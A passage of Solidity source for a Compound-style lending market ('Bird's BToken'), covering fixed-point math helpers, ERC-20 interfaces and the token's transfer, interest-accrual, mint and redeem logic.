* (a/scale) / (b/scale) = (a/scale) * (scale/b) = a/b,
* which we can scale as an Exp by calling getExp(a.mantissa, b.mantissa)
*/
function divExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) {
return getExp(a.mantissa, b.mantissa);
}
/**
* @dev Truncates the given exp to a whole number value.
* For example, truncate(Exp{mantissa: 15 * expScale}) = 15
*/
function truncate(Exp memory exp) pure internal returns (uint) {
// Note: We are not using careful math here as we're performing a division that cannot fail
return exp.mantissa / expScale;
}
/**
* @dev Checks if first Exp is less than second Exp.
*/
function lessThanExp(Exp memory left, Exp memory right) pure internal returns (bool) {
return left.mantissa < right.mantissa;
}
/**
* @dev Checks if left Exp <= right Exp.
*/
function lessThanOrEqualExp(Exp memory left, Exp memory right) pure internal returns (bool) {
return left.mantissa <= right.mantissa;
}
/**
* @dev Checks if left Exp > right Exp.
*/
function greaterThanExp(Exp memory left, Exp memory right) pure internal returns (bool) {
return left.mantissa > right.mantissa;
}
/**
* @dev returns true if Exp is exactly zero
*/
function isZeroExp(Exp memory value) pure internal returns (bool) {
return value.mantissa == 0;
}
function safe224(uint n, string memory errorMessage) pure internal returns (uint224) {
require(n < 2**224, errorMessage);
return uint224(n);
}
function safe32(uint n, string memory errorMessage) pure internal returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function add_(Exp memory a, Exp memory b) pure internal returns (Exp memory) {
return Exp({mantissa: add_(a.mantissa, b.mantissa)});
}
function add_(Double memory a, Double memory b) pure internal returns (Double memory) {
return Double({mantissa: add_(a.mantissa, b.mantissa)});
}
function add_(uint a, uint b) pure internal returns (uint) {
return add_(a, b, "addition overflow");
}
function add_(uint a, uint b, string memory errorMessage) pure internal returns (uint) {
uint c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub_(Exp memory a, Exp memory b) pure internal returns (Exp memory) {
return Exp({mantissa: sub_(a.mantissa, b.mantissa)});
}
function sub_(Double memory a, Double memory b) pure internal returns (Double memory) {
return Double({mantissa: sub_(a.mantissa, b.mantissa)});
}
function sub_(uint a, uint b) pure internal returns (uint) {
return sub_(a, b, "subtraction underflow");
}
function sub_(uint a, uint b, string memory errorMessage) pure internal returns (uint) {
require(b <= a, errorMessage);
return a - b;
}
function mul_(Exp memory a, Exp memory b) pure internal returns (Exp memory) {
return Exp({mantissa: mul_(a.mantissa, b.mantissa) / expScale});
}
function mul_(Exp memory a, uint b) pure internal returns (Exp memory) {
return Exp({mantissa: mul_(a.mantissa, b)});
}
function mul_(uint a, Exp memory b) pure internal returns (uint) {
return mul_(a, b.mantissa) / expScale;
}
function mul_(Double memory a, Double memory b) pure internal returns (Double memory) {
return Double({mantissa: mul_(a.mantissa, b.mantissa) / doubleScale});
}
function mul_(Double memory a, uint b) pure internal returns (Double memory) {
return Double({mantissa: mul_(a.mantissa, b)});
}
function mul_(uint a, Double memory b) pure internal returns (uint) {
return mul_(a, b.mantissa) / doubleScale;
}
function mul_(uint a, uint b) pure internal returns (uint) {
return mul_(a, b, "multiplication overflow");
}
function mul_(uint a, uint b, string memory errorMessage) pure internal returns (uint) {
if (a == 0 || b == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, errorMessage);
return c;
}
function div_(Exp memory a, Exp memory b) pure internal returns (Exp memory) {
return Exp({mantissa: div_(mul_(a.mantissa, expScale), b.mantissa)});
}
function div_(Exp memory a, uint b) pure internal returns (Exp memory) {
return Exp({mantissa: div_(a.mantissa, b)});
}
function div_(uint a, Exp memory b) pure internal returns (uint) {
return div_(mul_(a, expScale), b.mantissa);
}
function div_(Double memory a, Double memory b) pure internal returns (Double memory) {
return Double({mantissa: div_(mul_(a.mantissa, doubleScale), b.mantissa)});
}
function div_(Double memory a, uint b) pure internal returns (Double memory) {
return Double({mantissa: div_(a.mantissa, b)});
}
function div_(uint a, Double memory b) pure internal returns (uint) {
return div_(mul_(a, doubleScale), b.mantissa);
}
function div_(uint a, uint b) pure internal returns (uint) {
return div_(a, b, "divide by zero");
}
function div_(uint a, uint b, string memory errorMessage) pure internal returns (uint) {
require(b > 0, errorMessage);
return a / b;
}
function fraction(uint a, uint b) pure internal returns (Double memory) {
return Double({mantissa: div_(mul_(a, doubleScale), b)});
}
}
/**
* @title ERC 20 Token Standard Interface
* https://eips.ethereum.org/EIPS/eip-20
*/
interface EIP20Interface {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
/**
* @notice Get the total number of tokens in circulation
* @return The supply of tokens
*/
function totalSupply() external view returns (uint256);
/**
* @notice Gets the balance of the specified address
* @param owner The address from which the balance will be retrieved
* @return The balance
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @notice Transfer `amount` tokens from `msg.sender` to `dst`
* @param dst The address of the destination account
* @param amount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transfer(address dst, uint256 amount) external returns (bool success);
/**
* @notice Transfer `amount` tokens from `src` to `dst`
* @param src The address of the source account
* @param dst The address of the destination account
* @param amount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transferFrom(address src, address dst, uint256 amount) external returns (bool success);
/**
* @notice Approve `spender` to transfer up to `amount` from `src`
* @dev This will overwrite the approval amount for `spender`
* and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve)
* @param spender The address of the account which may transfer tokens
* @param amount The number of tokens that are approved (-1 means infinite)
* @return Whether or not the approval succeeded
*/
function approve(address spender, uint256 amount) external returns (bool success);
/**
* @notice Get the current allowance from `owner` for `spender`
* @param owner The address of the account which owns the tokens to be spent
* @param spender The address of the account which may transfer tokens
* @return The number of tokens allowed to be spent (-1 means infinite)
*/
function allowance(address owner, address spender) external view returns (uint256 remaining);
event Transfer(address indexed from, address indexed to, uint256 amount);
event Approval(address indexed owner, address indexed spender, uint256 amount);
}
/**
* @title EIP20NonStandardInterface
* @dev Version of ERC20 with no return values for `transfer` and `transferFrom`
* See https://medium.com/coinmonks/missing-return-value-bug-at-least-130-tokens-affected-d67bf08521ca
*/
interface EIP20NonStandardInterface {
/**
* @notice Get the total number of tokens in circulation
* @return The supply of tokens
*/
function totalSupply() external view returns (uint256);
/**
* @notice Gets the balance of the specified address
* @param owner The address from which the balance will be retrieved
* @return The balance
*/
function balanceOf(address owner) external view returns (uint256 balance);
///
/// !!!!!!!!!!!!!!
/// !!! NOTICE !!! `transfer` does not return a value, in violation of the ERC-20 specification
/// !!!!!!!!!!!!!!
///
/**
* @notice Transfer `amount` tokens from `msg.sender` to `dst`
* @param dst The address of the destination account
* @param amount The number of tokens to transfer
*/
function transfer(address dst, uint256 amount) external;
///
/// !!!!!!!!!!!!!!
/// !!! NOTICE !!! `transferFrom` does not return a value, in violation of the ERC-20 specification
/// !!!!!!!!!!!!!!
///
/**
* @notice Transfer `amount` tokens from `src` to `dst`
* @param src The address of the source account
* @param dst The address of the destination account
* @param amount The number of tokens to transfer
*/
function transferFrom(address src, address dst, uint256 amount) external;
/**
* @notice Approve `spender` to transfer up to `amount` from `src`
* @dev This will overwrite the approval amount for `spender`
* and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve)
* @param spender The address of the account which may transfer tokens
* @param amount The number of tokens that are approved
* @return Whether or not the approval succeeded
*/
function approve(address spender, uint256 amount) external returns (bool success);
/**
* @notice Get the current allowance from `owner` for `spender`
* @param owner The address of the account which owns the tokens to be spent
* @param spender The address of the account which may transfer tokens
* @return The number of tokens allowed to be spent
*/
function allowance(address owner, address spender) external view returns (uint256 remaining);
event Transfer(address indexed from, address indexed to, uint256 amount);
event Approval(address indexed owner, address indexed spender, uint256 amount);
}
/**
* @title Bird's BToken Contract
* @notice Abstract base for BTokens
*/
contract BToken is BTokenInterface, Exponential, TokenErrorReporter {
/**
* @notice Initialize the money market
* @param bController_ The address of the BController
* @param interestRateModel_ The address of the interest rate model
* @param initialExchangeRateMantissa_ The initial exchange rate, scaled by 1e18
* @param name_ EIP-20 name of this token
* @param symbol_ EIP-20 symbol of this token
* @param decimals_ EIP-20 decimal precision of this token
*/
function initialize(BControllerInterface bController_,
InterestRateModel interestRateModel_,
uint initialExchangeRateMantissa_,
string memory name_,
string memory symbol_,
uint8 decimals_) public {
require(msg.sender == admin, "only admin may initialize the market");
require(accrualBlockNumber == 0 && borrowIndex == 0, "market may only be initialized once");
// Set initial exchange rate
initialExchangeRateMantissa = initialExchangeRateMantissa_;
require(initialExchangeRateMantissa > 0, "initial exchange rate must be greater than zero.");
// Set the bController
uint err = _setBController(bController_);
require(err == uint(Error.NO_ERROR), "setting bController failed");
// Initialize block number and borrow index (block number mocks depend on bController being set)
accrualBlockNumber = getBlockNumber();
borrowIndex = mantissaOne;
// Set the interest rate model (depends on block number / borrow index)
err = _setInterestRateModelFresh(interestRateModel_);
require(err == uint(Error.NO_ERROR), "setting interest rate model failed");
name = name_;
symbol = symbol_;
decimals = decimals_;
// The counter starts true to prevent changing it from zero to non-zero (i.e. smaller cost/refund)
_notEntered = true;
}
/**
* @notice Transfer `tokens` tokens from `src` to `dst` by `spender`
* @dev Called by both `transfer` and `transferFrom` internally
* @param spender The address of the account performing the transfer
* @param src The address of the source account
* @param dst The address of the destination account
* @param tokens The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transferTokens(address spender, address src, address dst, uint tokens) internal returns (uint) {
/* Fail if transfer not allowed */
uint allowed = bController.transferAllowed(address(this), src, dst, tokens);
if (allowed != 0) {
return failOpaque(Error.BCONTROLLER_REJECTION, FailureInfo.TRANSFER_BCONTROLLER_REJECTION, allowed);
}
/* Do not allow self-transfers */
if (src == dst) {
return fail(Error.BAD_INPUT, FailureInfo.TRANSFER_NOT_ALLOWED);
}
/* Get the allowance, infinite for the account owner */
uint startingAllowance = 0;
if (spender == src) {
startingAllowance = uint(-1);
} else {
startingAllowance = transferAllowances[src][spender];
}
/* Do the calculations, checking for {under,over}flow */
MathError mathErr;
uint allowanceNew;
uint scrTokensNew;
uint dstTokensNew;
(mathErr, allowanceNew) = subUInt(startingAllowance, tokens);
if (mathErr != MathError.NO_ERROR) {
return fail(Error.MATH_ERROR, FailureInfo.TRANSFER_NOT_ALLOWED);
}
(mathErr, scrTokensNew) = subUInt(accountTokens[src], tokens);
if (mathErr != MathError.NO_ERROR) {
return fail(Error.MATH_ERROR, FailureInfo.TRANSFER_NOT_ENOUGH);
}
(mathErr, dstTokensNew) = addUInt(accountTokens[dst], tokens);
if (mathErr != MathError.NO_ERROR) {
return fail(Error.MATH_ERROR, FailureInfo.TRANSFER_TOO_MUCH);
}
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
accountTokens[src] = scrTokensNew;
accountTokens[dst] = dstTokensNew;
/* Eat some of the allowance (if necessary) */
if (startingAllowance != uint(-1)) {
transferAllowances[src][spender] = allowanceNew;
}
/* We emit a Transfer event */
emit Transfer(src, dst, tokens);
bController.transferVerify(address(this), src, dst, tokens);
return uint(Error.NO_ERROR);
}
/**
* @notice Transfer `amount` tokens from `msg.sender` to `dst`
* @param dst The address of the destination account
* @param amount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transfer(address dst, uint256 amount) external nonReentrant returns (bool) {
return transferTokens(msg.sender, msg.sender, dst, amount) == uint(Error.NO_ERROR);
}
/**
* @notice Transfer `amount` tokens from `src` to `dst`
* @param src The address of the source account
* @param dst The address of the destination account
* @param amount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transferFrom(address src, address dst, uint256 amount) external nonReentrant returns (bool) {
return transferTokens(msg.sender, src, dst, amount) == uint(Error.NO_ERROR);
}
/**
* @notice Approve `spender` to transfer up to `amount` from `src`
* @dev This will overwrite the approval amount for `spender`
* and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve)
* @param spender The address of the account which may transfer tokens
* @param amount The number of tokens that are approved (-1 means infinite)
* @return Whether or not the approval succeeded
*/
function approve(address spender, uint256 amount) external returns (bool) {
address src = msg.sender;
transferAllowances[src][spender] = amount;
emit Approval(src, spender, amount);
return true;
}
/**
* @notice Get the current allowance from `owner` for `spender`
* @param owner The address of the account which owns the tokens to be spent
* @param spender The address of the account which may transfer tokens
* @return The number of tokens allowed to be spent (-1 means infinite)
*/
function allowance(address owner, address spender) external view returns (uint256) {
return transferAllowances[owner][spender];
}
/**
* @notice Get the token balance of the `owner`
* @param owner The address of the account to query
* @return The number of tokens owned by `owner`
*/
function balanceOf(address owner) external view returns (uint256) {
return accountTokens[owner];
}
/**
* @notice Get the underlying balance of the `owner`
* @dev This also accrues interest in a transaction
* @param owner The address of the account to query
* @return The amount of underlying owned by `owner`
*/
function balanceOfUnderlying(address owner) external returns (uint) {
Exp memory exchangeRate = Exp({mantissa: exchangeRateCurrent()});
(MathError mErr, uint balance) = mulScalarTruncate(exchangeRate, accountTokens[owner]);
require(mErr == MathError.NO_ERROR, "balance could not be calculated");
return balance;
}
/**
* @notice Get a snapshot of the account's balances, and the cached exchange rate
* @dev This is used by bController to more efficiently perform liquidity checks.
* @param account Address of the account to snapshot
* @return (possible error, token balance, borrow balance, exchange rate mantissa)
*/
function getAccountSnapshot(address account) external view returns (uint, uint, uint, uint) {
uint bTokenBalance = accountTokens[account];
uint borrowBalance;
uint exchangeRateMantissa;
MathError mErr;
(mErr, borrowBalance) = borrowBalanceStoredInternal(account);
if (mErr != MathError.NO_ERROR) {
return (uint(Error.MATH_ERROR), 0, 0, 0);
}
(mErr, exchangeRateMantissa) = exchangeRateStoredInternal();
if (mErr != MathError.NO_ERROR) {
return (uint(Error.MATH_ERROR), 0, 0, 0);
}
return (uint(Error.NO_ERROR), bTokenBalance, borrowBalance, exchangeRateMantissa);
}
/**
* @dev Function to simply retrieve block number
* This exists mainly for inheriting test contracts to stub this result.
*/
function getBlockNumber() internal view returns (uint) {
return block.number;
}
/**
* @notice Returns the current per-block borrow interest rate for this bToken
* @return The borrow interest rate per block, scaled by 1e18
*/
function borrowRatePerBlock() external view returns (uint) {
return interestRateModel.getBorrowRate(getCashPrior(), totalBorrows, totalReserves);
}
/**
* @notice Returns the current per-block supply interest rate for this bToken
* @return The supply interest rate per block, scaled by 1e18
*/
function supplyRatePerBlock() external view returns (uint) {
return interestRateModel.getSupplyRate(getCashPrior(), totalBorrows, totalReserves, reserveFactorMantissa);
}
/**
* @notice Returns the current total borrows plus accrued interest
* @return The total borrows with interest
*/
function totalBorrowsCurrent() external nonReentrant returns (uint) {
require(accrueInterest() == uint(Error.NO_ERROR), "accrue interest failed");
return totalBorrows;
}
/**
* @notice Accrue interest to updated borrowIndex and then calculate account's borrow balance using the updated borrowIndex
* @param account The address whose balance should be calculated after updating borrowIndex
* @return The calculated balance
*/
function borrowBalanceCurrent(address account) external nonReentrant returns (uint) {
require(accrueInterest() == uint(Error.NO_ERROR), "accrue interest failed");
return borrowBalanceStored(account);
}
/**
* @notice Return the borrow balance of account based on stored data
* @param account The address whose balance should be calculated
* @return The calculated balance
*/
function borrowBalanceStored(address account) public view returns (uint) {
(MathError err, uint result) = borrowBalanceStoredInternal(account);
require(err == MathError.NO_ERROR, "borrowBalanceStored: borrowBalanceStoredInternal failed");
return result;
}
/**
* @notice Return the borrow balance of account based on stored data
* @param account The address whose balance should be calculated
* @return (error code, the calculated balance or 0 if error code is non-zero)
*/
function borrowBalanceStoredInternal(address account) internal view returns (MathError, uint) {
/* Note: we do not assert that the market is up to date */
MathError mathErr;
uint principalTimesIndex;
uint result;
/* Get borrowBalance and borrowIndex */
BorrowSnapshot storage borrowSnapshot = accountBorrows[account];
/* If borrowBalance = 0 then borrowIndex is likely also 0.
* Rather than failing the calculation with a division by 0, we immediately return 0 in this case.
*/
if (borrowSnapshot.principal == 0) {
return (MathError.NO_ERROR, 0);
}
/* Calculate new borrow balance using the interest index:
* recentBorrowBalance = borrower.borrowBalance * market.borrowIndex / borrower.borrowIndex
*/
(mathErr, principalTimesIndex) = mulUInt(borrowSnapshot.principal, borrowIndex);
if (mathErr != MathError.NO_ERROR) {
return (mathErr, 0);
}
(mathErr, result) = divUInt(principalTimesIndex, borrowSnapshot.interestIndex);
if (mathErr != MathError.NO_ERROR) {
return (mathErr, 0);
}
return (MathError.NO_ERROR, result);
}
/**
* @notice Accrue interest then return the up-to-date exchange rate
* @return Calculated exchange rate scaled by 1e18
*/
function exchangeRateCurrent() public nonReentrant returns (uint) {
require(accrueInterest() == uint(Error.NO_ERROR), "accrue interest failed");
return exchangeRateStored();
}
/**
* @notice Calculates the exchange rate from the underlying to the BToken
* @dev This function does not accrue interest before calculating the exchange rate
* @return Calculated exchange rate scaled by 1e18
*/
function exchangeRateStored() public view returns (uint) {
(MathError err, uint result) = exchangeRateStoredInternal();
require(err == MathError.NO_ERROR, "exchangeRateStored: exchangeRateStoredInternal failed");
return result;
}
/**
* @notice Calculates the exchange rate from the underlying to the BToken
* @dev This function does not accrue interest before calculating the exchange rate
* @return (error code, calculated exchange rate scaled by 1e18)
*/
function exchangeRateStoredInternal() internal view returns (MathError, uint) {
uint _totalSupply = totalSupply;
if (_totalSupply == 0) {
/*
* If there are no tokens minted:
* exchangeRate = initialExchangeRate
*/
return (MathError.NO_ERROR, initialExchangeRateMantissa);
} else {
/*
* Otherwise:
* exchangeRate = (totalCash + totalBorrows - totalReserves) / totalSupply
*/
uint totalCash = getCashPrior();
uint cashPlusBorrowsMinusReserves;
Exp memory exchangeRate;
MathError mathErr;
(mathErr, cashPlusBorrowsMinusReserves) = addThenSubUInt(totalCash, totalBorrows, totalReserves);
if (mathErr != MathError.NO_ERROR) {
return (mathErr, 0);
}
(mathErr, exchangeRate) = getExp(cashPlusBorrowsMinusReserves, _totalSupply);
if (mathErr != MathError.NO_ERROR) {
return (mathErr, 0);
}
return (MathError.NO_ERROR, exchangeRate.mantissa);
}
}
/**
* @notice Get cash balance of this bToken in the underlying asset
* @return The quantity of underlying asset owned by this contract
*/
function getCash() external view returns (uint) {
return getCashPrior();
}
/**
* @notice Applies accrued interest to total borrows and reserves
* @dev This calculates interest accrued from the last checkpointed block
* up to the current block and writes new checkpoint to storage.
*/
function accrueInterest() public returns (uint) {
/* Remember the initial block number */
uint currentBlockNumber = getBlockNumber();
uint accrualBlockNumberPrior = accrualBlockNumber;
/* Short-circuit accumulating 0 interest */
if (accrualBlockNumberPrior == currentBlockNumber) {
return uint(Error.NO_ERROR);
}
/* Read the previous values out of storage */
uint cashPrior = getCashPrior();
uint borrowsPrior = totalBorrows;
uint reservesPrior = totalReserves;
uint borrowIndexPrior = borrowIndex;
/* Calculate the current borrow interest rate */
uint borrowRateMantissa = interestRateModel.getBorrowRate(cashPrior, borrowsPrior, reservesPrior);
require(borrowRateMantissa <= borrowRateMaxMantissa, "borrow rate is absurdly high");
/* Calculate the number of blocks elapsed since the last accrual */
(MathError mathErr, uint blockDelta) = subUInt(currentBlockNumber, accrualBlockNumberPrior);
require(mathErr == MathError.NO_ERROR, "could not calculate block delta");
/*
* Calculate the interest accumulated into borrows and reserves and the new index:
* simpleInterestFactor = borrowRate * blockDelta
* interestAccumulated = simpleInterestFactor * totalBorrows
* totalBorrowsNew = interestAccumulated + totalBorrows
* totalReservesNew = interestAccumulated * reserveFactor + totalReserves
* borrowIndexNew = simpleInterestFactor * borrowIndex + borrowIndex
*/
Exp memory simpleInterestFactor;
uint interestAccumulated;
uint totalBorrowsNew;
uint totalReservesNew;
uint borrowIndexNew;
(mathErr, simpleInterestFactor) = mulScalar(Exp({mantissa: borrowRateMantissa}), blockDelta);
if (mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.ACCRUE_INTEREST_SIMPLE_INTEREST_FACTOR_CALCULATION_FAILED, uint(mathErr));
}
(mathErr, interestAccumulated) = mulScalarTruncate(simpleInterestFactor, borrowsPrior);
if (mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.ACCRUE_INTEREST_ACCUMULATED_INTEREST_CALCULATION_FAILED, uint(mathErr));
}
(mathErr, totalBorrowsNew) = addUInt(interestAccumulated, borrowsPrior);
if (mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.ACCRUE_INTEREST_NEW_TOTAL_BORROWS_CALCULATION_FAILED, uint(mathErr));
}
(mathErr, totalReservesNew) = mulScalarTruncateAddUInt(Exp({mantissa: reserveFactorMantissa}), interestAccumulated, reservesPrior);
if (mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.ACCRUE_INTEREST_NEW_TOTAL_RESERVES_CALCULATION_FAILED, uint(mathErr));
}
(mathErr, borrowIndexNew) = mulScalarTruncateAddUInt(simpleInterestFactor, borrowIndexPrior, borrowIndexPrior);
if (mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.ACCRUE_INTEREST_NEW_BORROW_INDEX_CALCULATION_FAILED, uint(mathErr));
}
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
/* We write the previously calculated values into storage */
accrualBlockNumber = currentBlockNumber;
borrowIndex = borrowIndexNew;
totalBorrows = totalBorrowsNew;
totalReserves = totalReservesNew;
/* We emit an AccrueInterest event */
emit AccrueInterestToken(cashPrior, interestAccumulated, borrowIndexNew, totalBorrowsNew);
return uint(Error.NO_ERROR);
}
/**
* @notice Sender supplies assets into the market and receives bTokens in exchange
* @dev Accrues interest whether or not the operation succeeds, unless reverted
* @param mintAmount The amount of the underlying asset to supply
* @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual mint amount.
*/
function mintInternal(uint mintAmount) internal nonReentrant returns (uint, uint) {
uint error = accrueInterest();
if (error != uint(Error.NO_ERROR)) {
// accrueInterest emits logs on errors, but we still want to log the fact that an attempted borrow failed
return (fail(Error(error), FailureInfo.MINT_ACCRUE_INTEREST_FAILED), 0);
}
// mintFresh emits the actual Mint event if successful and logs on errors, so we don't need to
return mintFresh(msg.sender, mintAmount);
}
struct MintLocalVars {
Error err;
MathError mathErr;
uint exchangeRateMantissa;
uint mintTokens;
uint totalSupplyNew;
uint accountTokensNew;
uint actualMintAmount;
}
/**
* @notice User supplies assets into the market and receives bTokens in exchange
* @dev Assumes interest has already been accrued up to the current block
* @param minter The address of the account which is supplying the assets
* @param mintAmount The amount of the underlying asset to supply
* @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual mint amount.
*/
function mintFresh(address minter, uint mintAmount) internal returns (uint, uint) {
/* Fail if mint not allowed */
uint allowed = bController.mintAllowed(address(this), minter, mintAmount);
if (allowed != 0) {
return (failOpaque(Error.BCONTROLLER_REJECTION, FailureInfo.MINT_BCONTROLLER_REJECTION, allowed), 0);
}
/* Verify market's block number equals current block number */
if (accrualBlockNumber != getBlockNumber()) {
return (fail(Error.MARKET_NOT_FRESH, FailureInfo.MINT_FRESHNESS_CHECK), 0);
}
MintLocalVars memory vars;
(vars.mathErr, vars.exchangeRateMantissa) = exchangeRateStoredInternal();
if (vars.mathErr != MathError.NO_ERROR) {
return (failOpaque(Error.MATH_ERROR, FailureInfo.MINT_EXCHANGE_RATE_READ_FAILED, uint(vars.mathErr)), 0);
}
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
/*
* We call `doTransferIn` for the minter and the mintAmount.
* Note: The bToken must handle variations between ERC-20 and ETH underlying.
* `doTransferIn` reverts if anything goes wrong, since we can't be sure if
* side-effects occurred. The function returns the amount actually transferred,
* in case of a fee. On success, the bToken holds an additional `actualMintAmount`
* of cash.
*/
vars.actualMintAmount = doTransferIn(minter, mintAmount);
/*
* We get the current exchange rate and calculate the number of bTokens to be minted:
* mintTokens = actualMintAmount / exchangeRate
*/
(vars.mathErr, vars.mintTokens) = divScalarByExpTruncate(vars.actualMintAmount, Exp({mantissa: vars.exchangeRateMantissa}));
require(vars.mathErr == MathError.NO_ERROR, "MINT_EXCHANGE_CALCULATION_FAILED");
/*
* We calculate the new total supply of bTokens and minter token balance, checking for overflow:
* totalSupplyNew = totalSupply + mintTokens
* accountTokensNew = accountTokens[minter] + mintTokens
*/
(vars.mathErr, vars.totalSupplyNew) = addUInt(totalSupply, vars.mintTokens);
require(vars.mathErr == MathError.NO_ERROR, "MINT_NEW_TOTAL_SUPPLY_CALCULATION_FAILED");
(vars.mathErr, vars.accountTokensNew) = addUInt(accountTokens[minter], vars.mintTokens);
require(vars.mathErr == MathError.NO_ERROR, "MINT_NEW_ACCOUNT_BALANCE_CALCULATION_FAILED");
/* We write previously calculated values into storage */
totalSupply = vars.totalSupplyNew;
accountTokens[minter] = vars.accountTokensNew;
/* We emit a Mint event, and a Transfer event */
emit MintToken(minter, vars.actualMintAmount, vars.mintTokens);
emit Transfer(address(this), minter, vars.mintTokens);
/* We call the defense hook */
bController.mintVerify(address(this), minter, vars.actualMintAmount, vars.mintTokens);
return (uint(Error.NO_ERROR), vars.actualMintAmount);
}
/**
* @notice Sender redeems bTokens in exchange for the underlying asset
* @dev Accrues interest whether or not the operation succeeds, unless reverted
* @param redeemTokens The number of bTokens to redeem into underlying
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function redeemInternal(uint redeemTokens) internal nonReentrant returns (uint) {
uint error = accrueInterest();
if (error != uint(Error.NO_ERROR)) {
// accrueInterest emits logs on errors, but we still want to log the fact that an attempted redeem failed
return fail(Error(error), FailureInfo.REDEEM_ACCRUE_INTEREST_FAILED);
}
// redeemFresh emits redeem-specific logs on errors, so we don't need to
return redeemFresh(msg.sender, redeemTokens, 0);
}
/**
* @notice Sender redeems bTokens in exchange for a specified amount of underlying asset
* @dev Accrues interest whether or not the operation succeeds, unless reverted
* @param redeemAmount The amount of underlying to receive from redeeming bTokens
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function redeemUnderlyingInternal(uint redeemAmount) internal nonReentrant returns (uint) {
uint error = accrueInterest();
if (error != uint(Error.NO_ERROR)) {
// accrueInterest emits logs on errors, but we still want to log the fact that an attempted redeem failed
return fail(Error(error), FailureInfo.REDEEM_ACCRUE_INTEREST_FAILED);
}
// redeemFresh emits redeem-specific logs on errors, so we don't need to
return redeemFresh(msg.sender, 0, redeemAmount);
}
struct RedeemLocalVars {
Error err;
MathError mathErr;
uint exchangeRateMantissa;
uint redeemTokens;
uint redeemAmount;
uint totalSupplyNew;
uint accountTokensNew;
}
/**
* @notice User redeems bTokens in exchange for the underlying asset
* @dev Assumes interest has already been accrued up to the current block
* @param redeemer The address of the account which is redeeming the tokens
* @param redeemTokensIn The number of bTokens to redeem into underlying (only one of redeemTokensIn or redeemAmountIn may be non-zero)
* @param redeemAmountIn The number of underlying tokens to receive from redeeming bTokens (only one of redeemTokensIn or redeemAmountIn may be non-zero)
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function redeemFresh(address payable redeemer, uint redeemTokensIn, uint redeemAmountIn) internal returns (uint) {
require(redeemTokensIn == 0 || redeemAmountIn == 0, "one of redeemTokensIn or redeemAmountIn must be zero");
RedeemLocalVars memory vars;
/* exchangeRate = invoke Exchange Rate Stored() */
(vars.mathErr, vars.exchangeRateMantissa) = exchangeRateStoredInternal();
if (vars.mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.REDEEM_EXCHANGE_RATE_READ_FAILED, uint(vars.mathErr));
}
/* If redeemTokensIn > 0: */
if (redeemTokensIn > 0) {
/*
* We calculate the exchange rate and the amount of underlying to be redeemed:
* redeemTokens = redeemTokensIn
* redeemAmount = redeemTokensIn x exchangeRateCurrent
*/
vars.redeemTokens = redeemTokensIn;
(vars.mathErr, vars.redeemAmount) = mulScalarTruncate(Exp({mantissa: vars.exchangeRateMantissa}), redeemTokensIn);
if (vars.mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.REDEEM_EXCHANGE_TOKENS_CALCULATION_FAILED, uint(vars.mathErr));
}
} else {
/*
* We get the current exchange rate and calculate the amount to be redeemed:
* redeemTokens = redeemAmountIn / exchangeRate
* redeemAmount = redeemAmountIn
*/
(vars.mathErr, vars.redeemTokens) = divScalarByExpTruncate(redeemAmountIn, Exp({mantissa: vars.exchangeRateMantissa}));
if (vars.mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.REDEEM_EXCHANGE_AMOUNT_CALCULATION_FAILED, uint(vars.mathErr));
}
vars.redeemAmount = redeemAmountIn;
}
/* Fail if redeem not allowed */
uint allowed = bController.redeemAllowed(address(this), redeemer, vars.redeemTokens);
if (allowed != 0) {
return failOpaque(Error.BCONTROLLER_REJECTION, FailureInfo.REDEEM_BCONTROLLER_REJECTION, allowed);
}
/* Verify market's block number equals current block number */
if (accrualBlockNumber != getBlockNumber()) {
return fail(Error.MARKET_NOT_FRESH, FailureInfo.REDEEM_FRESHNESS_CHECK);
}
/*
* We calculate the new total supply and redeemer balance, checking for underflow:
* totalSupplyNew = totalSupply - redeemTokens
* accountTokensNew = accountTokens[redeemer] - redeemTokens
*/
(vars.mathErr, vars.totalSupplyNew) = subUInt(totalSupply, vars.redeemTokens);
if (vars.mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.REDEEM_NEW_TOTAL_SUPPLY_CALCULATION_FAILED, uint(vars.mathErr));
}
(vars.mathErr, vars.accountTokensNew) = subUInt(accountTokens[redeemer], vars.redeemTokens);
if (vars.mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.REDEEM_NEW_ACCOUNT_BALANCE_CALCULATION_FAILED, uint(vars.mathErr));
}
/* Fail gracefully if protocol has insufficient cash */
if (getCashPrior() < vars.redeemAmount) {
